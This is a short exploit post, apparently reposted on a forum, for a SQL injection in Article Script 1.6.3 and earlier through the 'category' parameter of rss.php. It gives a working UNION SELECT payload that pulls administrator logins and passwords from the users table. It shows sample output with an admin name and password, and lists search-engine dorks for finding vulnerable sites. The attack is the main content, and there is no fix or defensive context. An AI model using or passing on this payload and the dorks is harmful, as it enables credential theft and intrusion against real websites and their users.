Article Script <= 1.6.3 (rss.php) Remote SQL Injection
[code]Article Script v1.*and v1.6.3 Sql injection
Script Name :Article Script
Home Page:[url]www.articlescript.org[/url]
Bug Founder :Liz0ziM
Mail:liz0@bsdmail.org
Baba Kimdir? Tabiki Liz0ziM
------------------------------------------------------------
[url]http://www.victim.com/articles/rss.php?category=[/url] ' sql İnjection
Example:
[url]http://www.victim.com/articles/rss.php?category=-1/[/url]**/union/**/select/**/1,2,login,password/**/from/**/users/*
<title>admin4521title> ------> Admin name :admin4521
<link>[url]http://www.victim.com/articles/cs1120/page_1/link>[/url] ----------> Admin password cs1120
Dork:
"Powered by Article Script"
":: Article Script - New User Article ::"
intitle:":: Article Script -"
"Last Articles::"
Greatz My all friend
Source: [url]http://www.blogcu.com/Liz0ziM/1312100/[/url]
[/code]
页:
[1]